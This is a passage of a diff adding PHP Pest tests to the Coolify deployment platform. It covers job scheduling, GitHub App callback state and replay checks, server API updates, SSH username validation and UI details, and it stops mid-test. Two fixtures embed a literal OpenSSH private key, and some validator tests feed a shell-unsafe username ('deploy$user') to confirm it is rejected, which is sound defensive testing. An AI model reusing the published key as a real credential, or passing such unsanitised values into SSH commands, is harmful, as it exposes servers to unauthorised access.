@@ -0,0 +1,150 @@
<?php
use App\Jobs\ScheduledJobManager;
use App\Jobs\ScheduledTaskJob;
use App\Models\Application;
use App\Models\Environment;
use App\Models\PrivateKey;
use App\Models\Project;
use App\Models\ScheduledTask;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Carbon;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Queue;
uses(RefreshDatabase::class);
it('dispatches scheduled tasks across chunks', function () {
config(['constants.coolify.self_hosted' => true]);
Carbon::setTestNow(Carbon::create(2026, 5, 27, 0, 1, 0, 'UTC'));
Queue::fake();
$team = Team::factory()->create();
$privateKey = PrivateKey::create([
'name' => 'Test Key',
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
-----END OPENSSH PRIVATE KEY-----',
'team_id' => $team->id,
]);
$server = Server::factory()->create([
'team_id' => $team->id,
'private_key_id' => $privateKey->id,
]);
$server->settings()->update([
'is_reachable' => true,
'is_usable' => true,
'force_disabled' => false,
'docker_cleanup_frequency' => '0 * * * *',
]);
$destination = StandaloneDocker::where('server_id', $server->id)->first()
?? StandaloneDocker::factory()->create(['server_id' => $server->id]);
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$application = Application::factory()->create([
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => StandaloneDocker::class,
'status' => 'running',
]);
ScheduledTask::factory()
->count(101)
->create([
'team_id' => $team->id,
'application_id' => $application->id,
'frequency' => '* * * * *',
'enabled' => true,
]);
(new ScheduledJobManager)->handle();
Queue::assertPushed(ScheduledTaskJob::class, 101);
});
it('skips expensive dispatch for non-due schedules while seeding dedup cache', function () {
config(['constants.coolify.self_hosted' => true]);
Carbon::setTestNow(Carbon::create(2026, 5, 27, 0, 1, 0, 'UTC'));
Queue::fake();
$application = createScheduledTaskApplication();
$task = ScheduledTask::factory()->create([
'team_id' => $application->environment->project->team_id,
'application_id' => $application->id,
'frequency' => '0 2 * * *',
'enabled' => true,
]);
(new ScheduledJobManager)->handle();
Queue::assertNotPushed(ScheduledTaskJob::class);
expect(Cache::get("scheduled-task:{$task->id}"))->not->toBeNull();
});
it('does not query relationships when constructing scheduled task jobs', function () {
$application = createScheduledTaskApplication();
$task = ScheduledTask::factory()->create([
'team_id' => $application->environment->project->team_id,
'application_id' => $application->id,
'frequency' => '* * * * *',
'enabled' => true,
])->fresh();
DB::flushQueryLog();
DB::enableQueryLog();
$job = new ScheduledTaskJob($task);
expect(DB::getQueryLog())->toBeEmpty()
->and($job->queue)->toBe(crons_queue())
->and($job->timeout)->toBe(300);
});
function createScheduledTaskApplication(): Application
{
$team = Team::factory()->create();
$privateKey = PrivateKey::create([
'name' => 'Test Key',
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
-----END OPENSSH PRIVATE KEY-----',
'team_id' => $team->id,
]);
$server = Server::factory()->create([
'team_id' => $team->id,
'private_key_id' => $privateKey->id,
]);
$server->settings()->update([
'is_reachable' => true,
'is_usable' => true,
'force_disabled' => false,
'docker_cleanup_frequency' => '0 * * * *',
]);
$destination = StandaloneDocker::where('server_id', $server->id)->first()
?? StandaloneDocker::factory()->create(['server_id' => $server->id]);
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
return Application::factory()->create([
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => StandaloneDocker::class,
'status' => 'running',
]);
}
@@ -2,9 +2,15 @@
use App\Livewire\Settings\ScheduledJobs;
use App\Models\DockerCleanupExecution;
use App\Models\Environment;
use App\Models\Project;
use App\Models\ScheduledDatabaseBackup;
use App\Models\ScheduledDatabaseBackupExecution;
use App\Models\Server;
use App\Models\Service;
use App\Models\ServiceDatabase;
use App\Models\StandaloneDocker;
use App\Models\StandalonePostgresql;
use App\Models\Team;
use App\Models\User;
use App\Services\SchedulerLogParser;
@@ -13,6 +19,35 @@ use Livewire\Livewire;
uses(RefreshDatabase::class);
function withIsolatedScheduledLogsForMonitoringTest(callable $callback): mixed
{
$logDir = storage_path('logs');
if (! is_dir($logDir)) {
mkdir($logDir, 0755, true);
}
$renamed = [];
foreach (glob($logDir.'/scheduled-*.log') as $log) {
$tmp = $log.'.scheduled-jobs-test-bak';
rename($log, $tmp);
$renamed[$tmp] = $log;
}
try {
return $callback($logDir.'/scheduled-'.now()->format('Y-m-d').'.log');
} finally {
foreach (glob($logDir.'/scheduled-*.log') as $log) {
@unlink($log);
}
foreach ($renamed as $tmp => $original) {
if (file_exists($tmp)) {
rename($tmp, $original);
}
}
}
}
beforeEach(function () {
// Create root team (id 0) and root user
$this->rootTeam = Team::factory()->create(['id' => 0, 'name' => 'Root Team']);
@@ -270,3 +305,96 @@ test('skipped jobs show fallback when resource is deleted', function () {
rename($tmp, $original);
}
});
test('skipped service database backups render with service backup link', function () {
$this->actingAs($this->rootUser);
session(['currentTeam' => $this->rootTeam]);
$server = Server::factory()->create(['team_id' => $this->rootTeam->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail();
$project = Project::factory()->create(['team_id' => $this->rootTeam->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$service = Service::factory()->create([
'server_id' => $server->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
'environment_id' => $environment->id,
]);
$serviceDatabase = ServiceDatabase::create([
'service_id' => $service->id,
'name' => 'service-postgres',
'image' => 'postgres:16-alpine',
'custom_type' => 'postgresql',
]);
$backup = ScheduledDatabaseBackup::create([
'team_id' => $this->rootTeam->id,
'frequency' => '0 * * * *',
'database_id' => $serviceDatabase->id,
'database_type' => $serviceDatabase->getMorphClass(),
'enabled' => true,
]);
withIsolatedScheduledLogsForMonitoringTest(function (string $logPath) use ($backup, $project, $environment, $service, $serviceDatabase) {
file_put_contents(
$logPath,
'['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"server_not_functional","backup_id":'.$backup->id.',"team_id":'.$this->rootTeam->id.'}'."\n"
);
$expectedUrl = route('project.service.database.backups', [
'project_uuid' => $project->uuid,
'environment_uuid' => $environment->uuid,
'service_uuid' => $service->uuid,
'stack_service_uuid' => $serviceDatabase->uuid,
]);
Livewire::test(ScheduledJobs::class)
->assertOk()
->assertSee('service-postgres')
->assertSeeHtml('href="'.$expectedUrl.'"');
});
});
test('skipped standalone database backups keep standalone backup link', function () {
$this->actingAs($this->rootUser);
session(['currentTeam' => $this->rootTeam]);
$server = Server::factory()->create(['team_id' => $this->rootTeam->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail();
$project = Project::factory()->create(['team_id' => $this->rootTeam->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$database = StandalonePostgresql::create([
'name' => 'standalone-postgres',
'image' => 'postgres:16-alpine',
'postgres_user' => 'postgres',
'postgres_password' => 'password',
'postgres_db' => 'postgres',
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
]);
$backup = ScheduledDatabaseBackup::create([
'team_id' => $this->rootTeam->id,
'frequency' => '0 * * * *',
'database_id' => $database->id,
'database_type' => $database->getMorphClass(),
'enabled' => true,
]);
withIsolatedScheduledLogsForMonitoringTest(function (string $logPath) use ($backup, $project, $environment, $database) {
file_put_contents(
$logPath,
'['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"server_not_functional","backup_id":'.$backup->id.',"team_id":'.$this->rootTeam->id.'}'."\n"
);
$expectedUrl = route('project.database.backup.index', [
'project_uuid' => $project->uuid,
'environment_uuid' => $environment->uuid,
'database_uuid' => $database->uuid,
]);
Livewire::test(ScheduledJobs::class)
->assertOk()
->assertSee('standalone-postgres')
->assertSeeHtml('href="'.$expectedUrl.'"');
});
});
@@ -199,8 +199,9 @@ it('rejects replayed github app manifest states', function () {
it('requires authentication before processing github app install callbacks', function () {
Http::preventStrayRequests();
cacheGithubAppSetupState('valid-install-state', 'install', $this->githubApp);
$this->get('/webhooks/source/github/install?source='.$this->githubApp->uuid.'&setup_action=install&installation_id=123456')
$this->get('/webhooks/source/github/install?state=valid-install-state&setup_action=install&installation_id=123456')
->assertRedirect();
Http::assertNothingSent();
@@ -209,22 +210,110 @@ it('requires authentication before processing github app install callbacks', fun
expect($this->githubApp->installation_id)->toBeNull();
});
it('rejects github app install callbacks for an unknown github app', function () {
it('rejects github app install callbacks with an app uuid as state', function () {
authenticateGithubSetupCallbackTest($this);
Http::preventStrayRequests();
$this->withHeader('Accept', 'application/json')->get('/webhooks/source/github/install?source=does-not-exist&setup_action=install&installation_id=123456')
$this->withHeader('Accept', 'application/json')->get('/webhooks/source/github/install?state='.$this->githubApp->uuid.'&setup_action=install&installation_id=123456')
->assertNotFound();
Http::assertNothingSent();
});
it('redirects browser github app install callbacks with missing or expired state to sources', function () {
authenticateGithubSetupCallbackTest($this);
Http::preventStrayRequests();
$this->get('/webhooks/source/github/install?setup_action=install&installation_id=123456')
->assertRedirect(route('source.all'));
$this->get('/webhooks/source/github/install?state=expired-state&setup_action=install&installation_id=123456')
->assertRedirect(route('source.all'));
Http::assertNothingSent();
});
it('rejects github app setup states for the wrong callback action', function () {
authenticateGithubSetupCallbackTest($this);
Http::preventStrayRequests();
cacheGithubAppSetupState('manifest-state', 'manifest', $this->githubApp);
cacheGithubAppSetupState('install-state', 'install', $this->githubApp);
$this->withHeader('Accept', 'application/json')->get('/webhooks/source/github/install?state=manifest-state&setup_action=install&installation_id=123456')
->assertNotFound();
$this->withHeader('Accept', 'application/json')->get('/webhooks/source/github/redirect?state=install-state&code=real-code')
->assertNotFound();
Http::assertNothingSent();
});
it('allows github app install callbacks for repository update setup actions', function () {
authenticateGithubSetupCallbackTest($this);
configureGithubAppCredentials($this->githubApp);
$this->githubApp->forceFill(['installation_id' => 111111])->save();
Http::preventStrayRequests();
$this->get('/webhooks/source/github/install?setup_action=update&installation_id=111111')
->assertRedirect(route('source.github.show', ['github_app_uuid' => $this->githubApp->uuid]));
Http::assertNothingSent();
$this->githubApp->refresh();
expect($this->githubApp->installation_id)->toBe(111111);
});
it('redirects github app repository update callbacks without a matching source to the sources page', function () {
authenticateGithubSetupCallbackTest($this);
Http::preventStrayRequests();
$this->get('/webhooks/source/github/install?setup_action=update&installation_id=123456')
->assertRedirect(route('source.all'));
Http::assertNothingSent();
});
it('rejects github app install callbacks for unknown setup actions', function () {
authenticateGithubSetupCallbackTest($this);
Http::preventStrayRequests();
cacheGithubAppSetupState('valid-install-state', 'install', $this->githubApp);
$this->withHeader('Accept', 'application/json')->get('/webhooks/source/github/install?state=valid-install-state&setup_action=remove&installation_id=123456')
->assertUnprocessable();
Http::assertNothingSent();
});
it('rejects github app setup states from another team', function () {
authenticateGithubSetupCallbackTest($this);
Http::preventStrayRequests();
$otherTeam = Team::factory()->create();
$otherGithubApp = GithubApp::create([
'name' => 'Other GitHub App',
'api_url' => 'https://api.github.com',
'html_url' => 'https://github.com',
'custom_user' => 'git',
'custom_port' => 22,
'team_id' => $otherTeam->id,
'is_system_wide' => false,
]);
cacheGithubAppSetupState('other-team-state', 'manifest', $otherGithubApp);
$this->withHeader('Accept', 'application/json')->get('/webhooks/source/github/redirect?state=other-team-state&code=real-code')
->assertForbidden();
Http::assertNothingSent();
});
it('rejects an installation id that github does not confirm belongs to the app', function () {
authenticateGithubSetupCallbackTest($this);
configureGithubAppCredentials($this->githubApp);
fakeGithubInstallationVerificationFailure();
cacheGithubAppSetupState('valid-install-state', 'install', $this->githubApp);
$this->withHeader('Accept', 'application/json')->get('/webhooks/source/github/install?source='.$this->githubApp->uuid.'&setup_action=install&installation_id=999999')
$this->withHeader('Accept', 'application/json')->get('/webhooks/source/github/install?state=valid-install-state&setup_action=install&installation_id=999999')
->assertForbidden();
$this->githubApp->refresh();
@@ -235,21 +324,39 @@ it('sets installation id when github confirms it belongs to the app', function (
authenticateGithubSetupCallbackTest($this);
configureGithubAppCredentials($this->githubApp);
fakeGithubInstallationVerification($this->githubApp->app_id);
cacheGithubAppSetupState('valid-install-state', 'install', $this->githubApp);
$this->get('/webhooks/source/github/install?source='.$this->githubApp->uuid.'&setup_action=install&installation_id=123456')
$this->get('/webhooks/source/github/install?state=valid-install-state&setup_action=install&installation_id=123456')
->assertRedirect(route('source.github.show', ['github_app_uuid' => $this->githubApp->uuid]));
$this->githubApp->refresh();
expect($this->githubApp->installation_id)->toBe(123456);
});
it('rejects replayed github app install states', function () {
authenticateGithubSetupCallbackTest($this);
configureGithubAppCredentials($this->githubApp);
fakeGithubInstallationVerification($this->githubApp->app_id);
cacheGithubAppSetupState('valid-install-state', 'install', $this->githubApp);
$this->get('/webhooks/source/github/install?state=valid-install-state&setup_action=install&installation_id=123456')
->assertRedirect();
$this->withHeader('Accept', 'application/json')->get('/webhooks/source/github/install?state=valid-install-state&setup_action=install&installation_id=123456')
->assertNotFound();
$this->githubApp->refresh();
expect($this->githubApp->installation_id)->toBe(123456);
});
it('allows reinstalling an already configured github app installation id', function () {
authenticateGithubSetupCallbackTest($this);
configureGithubAppCredentials($this->githubApp);
$this->githubApp->forceFill(['installation_id' => 111111])->save();
fakeGithubInstallationVerification($this->githubApp->app_id);
cacheGithubAppSetupState('valid-install-state', 'install', $this->githubApp);
$this->get('/webhooks/source/github/install?source='.$this->githubApp->uuid.'&setup_action=install&installation_id=222222')
$this->get('/webhooks/source/github/install?state=valid-install-state&setup_action=install&installation_id=222222')
->assertRedirect(route('source.github.show', ['github_app_uuid' => $this->githubApp->uuid]));
$this->githubApp->refresh();
@@ -138,6 +138,16 @@ it('dispatches the job when container state changes', function () use ($running)
Queue::assertPushed(PushServerUpdateJob::class, 2);
});
it('ignores health status changes while container lifecycle state is unchanged', function () {
$healthy = [['name' => 'app-1', 'state' => 'running', 'health_status' => 'healthy']];
$unhealthy = [['name' => 'app-1', 'state' => 'running', 'health_status' => 'unhealthy']];
pushSentinel($this->token, sentinelPayload($healthy))->assertOk();
pushSentinel($this->token, sentinelPayload($unhealthy))->assertOk();
Queue::assertPushed(PushServerUpdateJob::class, 1);
});
it('ignores disk percentage changes (excluded from the hash)', function () use ($running) {
pushSentinel($this->token, sentinelPayload($running(), diskPercentage: 42.0))->assertOk();
pushSentinel($this->token, sentinelPayload($running(), diskPercentage: 88.0))->assertOk();
@@ -0,0 +1,130 @@
<?php
use App\Models\InstanceSettings;
use App\Models\PrivateKey;
use App\Models\Server;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Testing\TestResponse;
uses(RefreshDatabase::class);
beforeEach(function () {
config()->set('app.maintenance.driver', 'file');
config()->set('cache.default', 'array');
InstanceSettings::forceCreate(['id' => 0, 'is_api_enabled' => true]);
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
$this->oldPrivateKey = createServerUpdatePrivateKeyApiKey($this->team, 'Old Key');
$this->newPrivateKey = createServerUpdatePrivateKeyApiKey($this->team, 'New Key');
$this->server = Server::factory()->create([
'team_id' => $this->team->id,
'private_key_id' => $this->oldPrivateKey->id,
]);
$token = $this->user->createToken('write-token', ['write']);
$token->accessToken->forceFill(['team_id' => $this->team->id])->save();
$this->bearerToken = $token->plainTextToken;
});
function createServerUpdatePrivateKeyApiKey(Team $team, string $name): PrivateKey
{
return PrivateKey::create([
'name' => $name,
'private_key' => generateSSHKey('ed25519')['private'],
'team_id' => $team->id,
]);
}
function patchServerUpdatePrivateKeyApi(object $test, Server $server, string $bearerToken, array $payload): TestResponse
{
return $test->withHeaders([
'Authorization' => 'Bearer '.$bearerToken,
'Content-Type' => 'application/json',
])->patchJson('/api/v1/servers/'.$server->uuid, $payload);
}
it('updates the server private key from private_key_uuid', function () {
patchServerUpdatePrivateKeyApi($this, $this->server, $this->bearerToken, [
'private_key_uuid' => $this->newPrivateKey->uuid,
])->assertCreated()
->assertJson(['uuid' => $this->server->uuid]);
expect($this->server->fresh()->private_key_id)->toBe($this->newPrivateKey->id);
});
it('returns not found for an unknown private_key_uuid and leaves the key unchanged', function () {
patchServerUpdatePrivateKeyApi($this, $this->server, $this->bearerToken, [
'private_key_uuid' => 'unknown-private-key-uuid',
])->assertNotFound()
->assertJson(['message' => 'Private key not found.']);
expect($this->server->fresh()->private_key_id)->toBe($this->oldPrivateKey->id);
});
it('does not allow attaching a private key from another team', function () {
$otherTeam = Team::factory()->create();
$otherTeamPrivateKey = createServerUpdatePrivateKeyApiKey($otherTeam, 'Other Team Key');
patchServerUpdatePrivateKeyApi($this, $this->server, $this->bearerToken, [
'private_key_uuid' => $otherTeamPrivateKey->uuid,
])->assertNotFound()
->assertJson(['message' => 'Private key not found.']);
expect($this->server->fresh()->private_key_id)->toBe($this->oldPrivateKey->id);
});
it('keeps the existing private key when private_key_uuid is omitted', function () {
patchServerUpdatePrivateKeyApi($this, $this->server, $this->bearerToken, [
'name' => 'Renamed Server',
])->assertCreated()
->assertJson(['uuid' => $this->server->uuid]);
$server = $this->server->fresh();
expect($server->name)->toBe('Renamed Server')
->and($server->private_key_id)->toBe($this->oldPrivateKey->id);
});
it('can disable build server mode via API', function () {
$this->server->settings()->update(['is_build_server' => true]);
patchServerUpdatePrivateKeyApi($this, $this->server, $this->bearerToken, [
'is_build_server' => false,
])->assertCreated()
->assertJson(['uuid' => $this->server->uuid]);
expect($this->server->settings->fresh()->is_build_server)->toBeFalse();
});
it('rejects an invalid disk usage check frequency without partially updating the server', function () {
$this->server->proxy->set('type', 'TRAEFIK');
$this->server->save();
$this->server->settings()->update(['is_build_server' => false]);
patchServerUpdatePrivateKeyApi($this, $this->server, $this->bearerToken, [
'name' => 'Renamed Server',
'is_build_server' => true,
'proxy_type' => 'none',
'server_disk_usage_check_frequency' => 'not a valid schedule',
])->assertUnprocessable()
->assertJson([
'message' => 'Validation failed.',
'errors' => [
'server_disk_usage_check_frequency' => ['Invalid Cron / Human expression for Disk Usage Check Frequency.'],
],
]);
$server = $this->server->fresh();
expect($server->name)->not->toBe('Renamed Server')
->and($server->settings->is_build_server)->toBeFalse()
->and($server->proxy->get('type'))->toBe('TRAEFIK');
});
@@ -0,0 +1,182 @@
<?php
use App\Livewire\Boarding\Index as BoardingIndex;
use App\Livewire\Server\New\ByIp;
use App\Models\InstanceSettings;
use App\Models\PrivateKey;
use App\Models\Server;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
use Visus\Cuid2\Cuid2;
uses(RefreshDatabase::class);
beforeEach(function () {
config(['app.maintenance.driver' => 'file']);
InstanceSettings::forceCreate(['id' => 0, 'is_api_enabled' => true]);
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
$this->privateKey = PrivateKey::withoutEvents(fn () => PrivateKey::forceCreate([
'uuid' => (string) new Cuid2,
'name' => 'Test SSH Key',
'description' => 'Test SSH Key',
'private_key' => 'test-private-key',
'team_id' => $this->team->id,
]));
$token = $this->user->createToken('write-token', ['write']);
$token->accessToken->forceFill(['team_id' => $this->team->id])->save();
$this->token = $token->plainTextToken;
});
it('creates a server through the API with a dotted SSH username', function () {
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->token,
'Content-Type' => 'application/json',
])->postJson('/api/v1/servers', [
'name' => 'Dotted User Server',
'ip' => '192.0.2.10',
'private_key_uuid' => $this->privateKey->uuid,
'user' => 'deploy.user',
]);
$response->assertCreated();
$this->assertDatabaseHas('servers', [
'ip' => '192.0.2.10',
'user' => 'deploy.user',
]);
});
it('updates a server through the API with a dotted SSH username', function () {
$server = Server::factory()->create([
'team_id' => $this->team->id,
'private_key_id' => $this->privateKey->id,
'user' => 'deploy',
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->token,
'Content-Type' => 'application/json',
])->patchJson('/api/v1/servers/'.$server->uuid, [
'user' => 'deploy.user',
]);
$response->assertStatus(201);
expect($server->fresh()->user)->toBe('deploy.user');
});
it('rejects unsafe SSH usernames when creating a server through the API', function () {
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->token,
'Content-Type' => 'application/json',
])->postJson('/api/v1/servers', [
'name' => 'Unsafe User Server',
'ip' => '192.0.2.11',
'private_key_uuid' => $this->privateKey->uuid,
'user' => 'deploy$user',
]);
$response->assertStatus(422);
$response->assertJsonPath('errors.user.0', 'The User may only contain letters, numbers, dots, hyphens, and underscores.');
});
it('rejects unsafe SSH usernames through the API', function () {
$server = Server::factory()->create([
'team_id' => $this->team->id,
'private_key_id' => $this->privateKey->id,
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->token,
'Content-Type' => 'application/json',
])->patchJson('/api/v1/servers/'.$server->uuid, [
'user' => 'deploy$user',
]);
$response->assertStatus(422);
$response->assertJsonStructure(['errors' => ['user']]);
$response->assertJsonPath('errors.user.0', 'The User may only contain letters, numbers, dots, hyphens, and underscores.');
});
it('allows dotted SSH usernames in the server creation form', function () {
$this->actingAs($this->user);
Livewire::test(ByIp::class, [
'private_keys' => collect([$this->privateKey]),
'limit_reached' => false,
])
->set('name', 'Dotted User Server')
->set('ip', '192.0.2.20')
->set('user', 'deploy.user')
->set('private_key_id', $this->privateKey->id)
->call('submit')
->assertHasNoErrors(['user']);
$this->assertDatabaseHas('servers', [
'ip' => '192.0.2.20',
'user' => 'deploy.user',
]);
});
it('rejects unsafe SSH usernames in the server creation form', function () {
$this->actingAs($this->user);
Livewire::test(ByIp::class, [
'private_keys' => collect([$this->privateKey]),
'limit_reached' => false,
])
->set('name', 'Unsafe User Server')
->set('ip', '192.0.2.21')
->set('user', 'deploy$user')
->set('private_key_id', $this->privateKey->id)
->call('submit')
->assertHasErrors(['user' => ['regex']]);
});
it('rejects unsafe SSH usernames during onboarding server creation', function () {
$this->actingAs($this->user);
Livewire::test(BoardingIndex::class)
->set('createdPrivateKey', $this->privateKey)
->set('remoteServerName', 'Unsafe User Server')
->set('remoteServerHost', '192.0.2.30')
->set('remoteServerPort', 22)
->set('remoteServerUser', 'deploy$user')
->call('saveServer')
->assertHasErrors([
'remoteServerUser' => [
'regex',
'The SSH User may only contain letters, numbers, dots, hyphens, and underscores.',
],
]);
});
it('rejects unsafe SSH usernames during onboarding server validation', function () {
$this->actingAs($this->user);
$server = Server::factory()->create([
'team_id' => $this->team->id,
'private_key_id' => $this->privateKey->id,
'user' => 'deploy',
]);
Livewire::test(BoardingIndex::class)
->set('createdServer', $server)
->set('remoteServerPort', 22)
->set('remoteServerUser', 'deploy$user')
->call('saveAndValidateServer')
->assertHasErrors([
'remoteServerUser' => [
'regex',
'The SSH User may only contain letters, numbers, dots, hyphens, and underscores.',
],
]);
});
@@ -0,0 +1,70 @@
<?php
use App\Livewire\Project\New\Select;
use Carbon\CarbonImmutable;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\View;
use Illuminate\Support\ViewErrorBag;
beforeEach(function () {
Cache::flush();
});
it('returns the service templates bundle last updated timestamp', function () {
$component = new Select;
$templatePath = base_path('templates/'.config('constants.services.file_name'));
$resources = $component->loadServices();
expect($resources)
->toHaveKey('serviceTemplatesLastUpdated')
->and($resources['serviceTemplatesLastUpdated'])
->toBe(CarbonImmutable::createFromTimestamp(filemtime($templatePath))->timezone(config('app.timezone'))->format('M j, Y H:i'));
});
it('returns each service template last updated timestamp', function () {
$component = new Select;
$templatePath = base_path('templates/compose/activepieces.yaml');
$resources = $component->loadServices();
expect($resources['services']['activepieces'])
->toHaveKey('templateLastUpdated')
->and($resources['services']['activepieces']['templateLastUpdated'])
->toBe(CarbonImmutable::createFromTimestamp(filemtime($templatePath))->timezone(config('app.timezone'))->format('M j, Y H:i'));
});
it('uses a service template timestamp cache keyed by bundle mtime', function () {
$bundleMtime = filemtime(base_path('templates/'.config('constants.services.file_name')));
Cache::put("service-template-last-updated-map:{$bundleMtime}", [
'activepieces' => 'Cached timestamp',
], now()->addDay());
$resources = (new Select)->loadServices();
expect($resources['services']['activepieces']['templateLastUpdated'])->toBe('Cached timestamp');
});
it('does not use stale service template timestamp cache entries from another bundle mtime', function () {
$bundleMtime = filemtime(base_path('templates/'.config('constants.services.file_name')));
Cache::put('service-template-last-updated-map:'.($bundleMtime - 1), [
'activepieces' => 'Stale cached timestamp',
], now()->addDay());
$resources = (new Select)->loadServices();
expect($resources['services']['activepieces']['templateLastUpdated'])->not->toBe('Stale cached timestamp');
});
it('renders the service templates last updated hint placeholder', function () {
View::share('errors', new ViewErrorBag);
$view = $this->view('livewire.project.new.select', [
'current_step' => 'type',
'environments' => collect(),
]);
$view->assertSee('Last Updated on Service Templates:');
$view->assertSee('serviceTemplatesLastUpdated');
$view->assertSee('service.templateLastUpdated');
});
+44
View File
@@ -0,0 +1,44 @@
<?php
use App\Livewire\SettingsDropdown;
use App\Models\User;
use App\Services\ChangelogService;
use Illuminate\Support\Carbon;
use Illuminate\Support\Collection;
use Illuminate\Support\Facades\Auth;
use Livewire\Livewire;
it('renders the changelog modal above the desktop sidebar toggle', function () {
$user = new User(['email' => 'test@example.com']);
$user->id = 1;
Auth::setUser($user);
app()->instance(ChangelogService::class, new class extends ChangelogService
{
public function getEntriesForUser(User $user): Collection
{
return collect([
(object) [
'tag_name' => 'v1.0.0',
'title' => 'Test Release',
'content' => 'Release notes',
'content_html' => '<p>Release notes</p>',
'published_at' => Carbon::parse('2026-05-01'),
'is_read' => false,
],
]);
}
public function getUnreadCountForUser(User $user): int
{
return 1;
}
});
Livewire::test(SettingsDropdown::class, ['trigger' => 'changelog-sidebar'])
->call('openWhatsNewModal')
->assertSee('Changelog')
->assertSee('z-[60]', false)
->assertSee('closeWhatsNewModal', false);
});
@@ -0,0 +1,19 @@
<?php
it('initializes persisted sidebar state before enabling layout transitions', function () {
$layout = file_get_contents(resource_path('views/layouts/app.blade.php'));
expect($layout)
->toContain("collapsed: localStorage.getItem('sidebarCollapsed') === 'true'")
->toContain('sidebarReady: false')
->toContain(":class=\"[collapsed ? 'lg:w-16' : 'lg:w-56', sidebarReady ? 'transition-[width] duration-200' : '']\"")
->toContain(":class=\"[collapsed ? 'lg:pl-[6rem]' : 'lg:pl-[16rem]', sidebarReady ? 'transition-[padding] duration-200' : '']\"");
});
it('does not animate navbar padding when restoring collapsed state', function () {
$navbar = file_get_contents(resource_path('views/components/navbar.blade.php'));
expect($navbar)
->not->toContain('items-start gap-3 motion-safe:transition-all')
->not->toContain('overflow-hidden motion-safe:transition-all');
});
@@ -0,0 +1,64 @@
<?php
use App\Livewire\SettingsDropdown;
it('keeps changelog and the theme switcher in the sidebar without the old preferences trigger', function () {
$navbarView = file_get_contents(resource_path('views/components/navbar.blade.php'));
expect($navbarView)
->toContain('<livewire:settings-dropdown trigger="changelog-sidebar" />')
->not->toContain('<livewire:settings-dropdown />')
->toContain('aria-label="Theme switcher"')
->toContain('aria-label="Use light theme"')
->toContain('aria-label="Use system theme"')
->toContain('aria-label="Use dark theme"')
->toContain('cycleTheme()')
->toContain("const themes = ['light', 'system', 'dark'];")
->toContain('pl-2 pr-3 items-start gap-3')
->toContain('class="flex min-w-0 flex-1 flex-col"')
->toContain('class="min-w-0 flex-1"')
->toContain('class="flex h-8 w-full items-center justify-between');
});
it('keeps changelog and appearance options out of the preferences dropdown', function () {
$dropdownView = file_get_contents(resource_path('views/livewire/settings-dropdown.blade.php'));
expect($dropdownView)
->toContain("\$trigger === 'changelog-sidebar'")
->toContain('title="What\'s New"')
->toContain('aria-label="What\'s New"')
->toContain('wire:click="openWhatsNewModal"')
->toContain('class="relative text-left menu-item"')
->toContain('class="text-left menu-item-label"')
->toContain("What's New</span>")
->toContain('M9.813 15.904 9 18.75')
->not->toContain('<span>Changelog</span>')
->not->toContain('Appearance</div>')
->not->toContain("@click=\"setTheme('dark'); dropdownOpen = false\"")
->not->toContain("@click=\"setTheme('light'); dropdownOpen = false\"")
->not->toContain("@click=\"setTheme('system'); dropdownOpen = false\"");
});
it('opens and closes the changelog modal state', function () {
$component = new SettingsDropdown;
$component->trigger = 'changelog-sidebar';
expect($component->trigger)->toBe('changelog-sidebar')
->and($component->showWhatsNewModal)->toBeFalse();
$component->openWhatsNewModal();
